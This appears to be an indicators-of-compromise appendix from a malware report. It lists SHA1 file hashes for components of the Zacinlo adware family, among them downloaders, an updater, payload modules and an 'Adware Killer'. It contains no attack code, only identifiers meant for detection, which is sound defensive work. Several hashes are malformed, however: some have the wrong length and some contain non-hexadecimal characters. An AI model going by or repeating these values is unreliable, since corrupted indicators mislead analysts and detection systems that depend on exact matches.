560a698e13d41b25aa197dbc0187545ff3393104	b2f5aa09898f053ccb3092cfb7e9de4b76d34664	3539b4b966f82117bc00b4b392ebb2433489aac4
1cbaeaf7b59f47cdca99d324a8ae419f30bd1b80	f098bf506c5b68fdc172755f10594c9204992021	3ec9ef5f5511cd0df4e50579d2e4d852aaa09ad0
6510883f0d0314e22f5fee02634eb88c179b29f8	10f5466974dd7990f48967c3bd8ae336f5a0943a	3fec7dec4a4212bfcf60a8c6a00894cca25768da
	f77b015c5f659b63fcf53318fa4825b0fb97a2ca	58ad8cb195302baf67d46fc0f7ee3389454c8a84

## Setup Downloader (old version)

72a6f608719d4cda62c7b22fe479919f245c882f	7659e20e576cf3d872efe5f4764e33d52def101	bbbf76e5536bc51eecc03420f5b3aff6126d1e0b
b53d45214425ed893ff10ffac9efd984a2a5af59	beb163d816b5a87eb7505b83d46247b5cc0738bc	ea95069d233650a60ec3fd6dd7304e2871dbc0bf
efcc608c5a92b7ef112c605e554a39767a81e62b	1a55c660a3b72ff8759ebd860662e8163731895d	b195d5e8e36d9365349a1ba9903b14d18479316f
7854def7af2fe5e5ba5f37d695fdc115b806ecdc	4869b272d179fc33d742c9f459f23405bbcf518	501eb02b5722d63af172a2ec43febebcc7d548d4
e3b910a158e90c501dd5e2861903e6429b40a12e	d5056edd306d26e7baef0f28bc389af0eefcb144	2b48e38a5dbf9d87ce6e4cf583d7552198fb5778
d3bae58836b9080da75837dacd1be01d9fe15cbd	4bcd7d27506a0c7c235ea6ee444d7ce30647ae18	90c19926e67160cd4035954f3f53142aec4183a
598b6417493d8f84c45e54217d7771d63e04f2c9	b4e52c97dcda556a42a24f759d25c392f60cf67	86bd2565c3a470e2b6de72ad8e349975f37ac6e5
b904f58d5bfd82d0778bdc9911f3b2193398e7cc	3ab08863b085f9dc0f23b3b2e3887c868592bdf5	a19a27833c38a69c5abcfb26c8df75d818fb1846
f6c865d202892c82f4ead2e0df13e631d7e942dc	7c8f1a97a7d5e9c067cecaa2c5f593f2b8163450	765bee31265c803494210e4f25d5037c46002f31
fc07349234dd7d8c7bffb62f404297cda05b86dd	cf12a1713f2d103e46a6e80c43a063dc17417cb4	72383dc98c3d065dce2cde1cd43b9429ae858e4a
f88efeba6042cb90c1e43311d1ae9b9a8fb2990a	ee86c4ddf018ceb040bcd5c1f920de2d4d5f3775	5c4018497d9da58627f8135c8e6d5a56e87e9c56
385dd81c180265812ab07e8c2cca9c2cf0803f3d	ca7a568c69361e422d6196b1d742fe5c310e41e1	8e55aa8a61f01e4068a41d8880f20c1ea843846a
a2691775b2b330d7600d2f936b4793ec335d973f	401446bc89d641da1e3b545a5a5af35f6882c8f2	75391db8c7ead630becdceb6e7f80a05501a515b
e1c9af4ddeffba12b48a3a60255cce4d4b40608b	e63d07c5ea064dee4a714e65f0745f439899be91	c23e8f2e7756275887453f7bd733d8c1871a0441
0ea7a4b138f958c7572d9f35de458d68c142a252	21915434401608dffcc00c25067138d4fa57a14e2	c46921df74112bc3a59b98d3d7d759096ed86d80
df9a63e0630482c174f353b28985cd1d36ba6849		

## Setup Downloader

0047047202f0641d0c7a735115299d3b579c81d1	085e381cd97d49f7c0a8f0cae734b109eef1e9d	4bf11ddeb9008821f3e322182d249a90e559e21d
a5aa8ff70405aaef045f6c2c973eb65509506c8	b4f3c28831e603ee3e88b54aefb89ebc9c12604f	14fbabdf0e4b991a8484280675b75017a124648f
fdfaaa37463ee2671d52b45cb1d6728781731e51	2ffd288964104ca0d07fc7b1a9b14d890c433aa1	15d586afa2cc646cb81dbcdb0881db9c7a940ca5
45f5885addb17114873064ba2a2ef720abc7a069	ad52c2a0a2df06f2c1717e4aaadc993a649db1b	6188af2b1bd4a8afb5c6ac60b2cbb6d9597d5c4f
db647928ba90195fdf8b1648a84e3d85c891ada3	ce8dd4c850f1d08d8b16b25412c13466a4a01384	2calal2f648d6fd8fc9b23a0718dfb9b535743df

## S5mark Application

51960b69f4a7c96af835ec71057b86be945983ed	5ee4ebf7e423e3e143cd286b048c04372c606bca	a3b68f42db720583aa9a8f704b172c944ad96627
4ddbcbec348eb9f6a79886d01e4ee270018f259	00caa31ec14bd478e70583f6f41c6a685629d9ee	867515f594b589ac311508e7b5dc369ece04624a
		615f2e8e9a4bb7ba9d4eb06d11834060a741adc2

## Component Updater

8e5f75a73705645cf90a6d106b7b47f6f10c6306	67ae840849fd1e0d1c633b8d0631044f1626d665	de4f8cf7fa797d981122626f78fc53a0f6aab1ac
6cc1009b513be896900805b9a26a084c5755de5b	658e507768b9aea230f3860c3490f3d3fa3d8aa0	9d364305dd485b6e58feaeacf693afe960ec21c
c4390715944cc12dca3c214539fd6701092dca24	323050022b6e95acc7ba38e8013d39536d6dd5c1	731446607c59fd60e88cf7f4ca45fdbcb755b123



## Payload - Master

20c3bd82789b5adf49dc04dde5ea063a403d8cd	24f62a5eeeecbf83729359d674109ec17ad8bb9c9	d41c5f93f452afe60e59ace8ec9ab310edbfff17c
d02b49317dd9b2f73aaaf48ccfe69655c5465b161	ca75b73fb17b07e4e84d49bb2fccba3ea0a40d88	f1ec5c6638357b676402e3893d302e61df60881d
5a77f1354f5fdb53b2433b7ad9a0478c0753703	1c5bfcfd68585a5b106a7be78a157d90a020e29d	c53df8482ea17f1b5be247743bd593676cf616c
a34f66738ddf8d15b61142756f55c24dfe8d7b5	6171999d53383c2f81ec2e990523ee868e255bc4	cec8d5754f1771b8b1c33f6cc7840c7a80e10e6c
4b7f925d3ae5cea98f056a8f303aa153ad33693f	2296aa9378ccb7385e89ca9ec1b2722d01d7b25c	d66644139ca2827e5b2e58763d61b1f4ec182266
0430ec00189070270b3b14941f99cba7cfbae146	e53a99faa411a5cd361523614b11cf7829ffbb2a3	7a0d70ef06881fe02a298fc319f0aad4dab43071
e785b297dc30fac0de0c0d5ca3c5b7022cfe3df6	804c194772489603eb322dee7d20f240aa0576e7	f9777ec32a1f020b83005f7cd843e9a3f1902760
21a6904db03afe63f42ba86e6f304dc331611036	da83d08fe5a9e8e8ec0deb86a1c950032edb21b5	3814b03a9a1be665be384b93d7243b9a27dc70b2
296cf2383cea29ec8c0bec1131f55bde877b0b51	4fcc220a173d38d007ce72c009ce612b519cdfcb	7655cb1f2bc0bd952d35ea4bf4de07a8815d58a9
a234368793006b5cc5a01d455b387623d61f9725	3efb2e7fe10f0f5f19614b375a234cce439803dc	9719dfd5056f13e9ce16f598b5845af783bef07b
30af133c5749176fdcdc0f76910e51349cf85d93	9c118063d7df166e79ec844932dc51f99888bd80	3bc9649aefae0104248b60540e04d32d57136a0
d06e676595865f4f99ca2d0423c8667cf1f05ee1	bb93369c16a1e63a5db04b17b76f80e4e954e0d5	71787d453b30948dc0916a2965d73aa4d9419fc5
f2b8cad5265a2e60efeae4feaa84af8c5f1c889b	85601e4e900ab2f981d1fab2af33c0044f221466	06a6e10aad22ba3324e6c88804804171eae3ae48
32e2748e26417804af6fe21dff08713ee80e915	f96b82f516fd8b9a0e152bceaa98a98b62c2afa1	9ff8864a7c1fea27c3995d2315fd688dba9967ce
f8299e07b3295fa919d88c1a5e385313a34ac354	1dc9ade5be722d192844697c0eea44be67eb904	769a5f9174291b27bae323a6cc36deaff4fb7e19
cc673c01b642c798e561afc3cdceccdd5e25aac59	d04c5e97ff0a04d0a97d4a9ce382d41a3d071a41	134e275366906eb7067c358e0daf4ecc909854ef
ee25a2e60abb88dacb2e0ec46376b3d24b0e6c6a	596a7f2d0d06b2e8bea838cd7d2f69b3a9203d75	c8d53aa5bcf2230ed4573e1fb2f4cab6b18e7871
27b2602a0fa13e526824d8291642315d25e67062	7a234651c5a791f6d19e939e8495aba52f91b014	dae28bdf026adcfc95a9a6dc3c6df84a10f762b
7d53bdb9f991caf40073f1baacd33fe935ad3b	0eeab87611403d4c2e690f6a523f5a2a5f0b6c79	76008eacf2eb0b86890b0f79c5fb067810eff959
101455633943a925aa4ea2b764626a8ae8019157	f96660e7e876edf11dc96da4eeef824ea1eb996b	ab674750bc8c2bef68a3a89271c2d259d8b5c93f
d16e4c5d5554b9daf3f09473a9c9b7337424bac2	fc1a2e42de17fcfda485beb8d0909c78e86457a5	81655ee2ec248432088c66cdf9bb6c31ab9634ae
d49c7d6f4dd0de8e0c6f410f63538cdb68d417dc	665d82ecdf8c8053d7d4fce5882b36a6f5a0bb6	95eb8e2a6ee4377bf64e29a217f580ccbce90fc8
d7b1af59b1336873da2d1cc36b87eb3c8d5bf986	9c8c07368ffc4dbf6958ef9ab251b451dc46458a	a2618947c34d53720636ccbf7e46463df9d56a4
922602db83403a8d7b9c42c57861cf0252f17f2d	0055a356d0ca6e92ac7ebf6e1d41e51fd73f53fc	bfcf775c624dd9efd98c67978ec3c92e924695d2
58cf9b98240650d95ebfce2ae5f3f6a0ad2cc61d	7a24bfe8116af0d6defd482198f9381101284d4c	e29c3ebfd07e53627723bad009b88d814be832b
25079c043efbc45358bfbed2dff9e2e43c95b337	c9e834a6398593215a6841154e27642019bba157	ebfe511le11a4de2123a94da9b7427ba6cc5b998
b1e7af02c91a81e021650c71a4ac8571615223b6	75511c8cb1864eb2988dfc1f56c8eea74f436fa5	470d71fce6708cff5cd2aa5387f5c2b8fdf6bafdf
bbcc2d0cb4fad7d1397536e6390ebe95208b19ad	f098bf506c5b68fdc172755f10594c9204992021	8586dbb8bdff8b49b984db0283c5aef21bf540a9
f5e129bb6564a6f269d8d6b15d268d3607bcbde	13f7ecf111985b9667c352b1b09df0158f6de359	d3b93f6173a792ecca9d67bcb1c4d95647bcb2c
e409ecf1581380b982ac4c70a6594f52a44389fd	38a80ac023f5cccebcc1b1da4f3ebbf792575e89f	81c49e5e146bea78c6037247685df249c36a4144
284ac0ff34acc590a7e05338416b2d07aa75ef99	21341b2cc34c346feac24f48242b4adcca864d13	28cfbcbae3ff84789e14e4296e0b2369f35288d1
161a56d93dacc34e32d8e8d382c0144db59c6698	11ac30ed65d9529c075214440440c7eb9cb1fd95	3c980e1dc662a358c609e3015bc8bbfcbb7ad04d
b9e8e200dd927896e1192a46313ea6f79f4d6273	db78214fe429c00b1d45d274c6ebd6a9550749e3	6456bd8573ff0ad2b46ab0a9587714fc4c39ff7
e34dc96d545cd12f7eec172a2897c980919ac4ca	5cb639db2c37365987167f2c3f45b5b52ef061ee	28325d3c551085d8758f9c980c1a5cb455d02eac

## Payload - Client

91778cae46b91ba7bd5439e5962351fea571fb74	4e9349ca64782f8042550c0d36c85ed425cc3097	2677db303b1eadae5d879d002e1fd8228d6fadf
2d2bbbacfd72953b2498fb7dc09ecaab76ec11f	b20973de738536064dc6f0712589cf4f714f6ed8	30ef7e2a083991af96bd12f0fa9eea06de0824a9
611751f42df8429793fdcb0544555ead4bdab22d	82bab56ef79c92f7bfa835f0063b25c8748e2d1d	9d0aaa5245b004b4ec220147c4c32618d2b9fed4
c41981f743ce45386a0c2ff49f4d0b963d6d86f0	7c07bb1875dd6ba638f29a0fcfc40044f83f2bbd8	0dce24f7102a97136846a301a70f1abfbda8fc
96055210bf542c9cc2186ab0ba9848677bdcff61	58213dec017fbaf5e28fb675d48403744b18d3b1	92983e7f9d4af7bd86832cbe26cd74020686fc4
		56fd5df0dc7dbd6784f8dc85befcf028915fe737

## Adware Killer

1edf084cefef9649ba420d88479cf253adb32011a	477a9158a0de88176f027f7ecdf1963b159e177d	b585781e72bec81946df1f75026853f88248d904
840335c2b3aaab0fce5ffde987238b272a47ba4d	3f3b78dc9e22be3b9f8c859f879f12e0e2224223	d01cdafaf035566139115dd4fde47d2fd2174be2
7d98d54260dfb150df222bf17ebbc88cd75da887	99c1dbc5674621eb1cb93f94c7b4e99cb90cba61	e14e39836116033d7fe78b9bb11eb3283cc34cee
1447d0afdd007a236fe764dc321fef9fff00d815	33da9c13ad433c7fd106d15ade17ba906b545cd9	d00c1f2006d336660bd229ca052576de1e62bfec
e895bdbb12dd78545ebb01c3c37333370819099a	f38ce51502635b4359d414e7b0e3b16fe1d81582	e319465f5932553161a2856d12175b7c16adbdbd
	59f2d249f9f856d5a037f27364561ce4aef7d54a	633888a2060979909bcb8408517075dbbe6fabf8

## Zacinlo

e02e27b620bfce03a8652feb72ae71828a77f89	2539a6bc56493e6bd20248584682175abe27ac5a	55a5066fc178fb2d072a7975ed81940546504548
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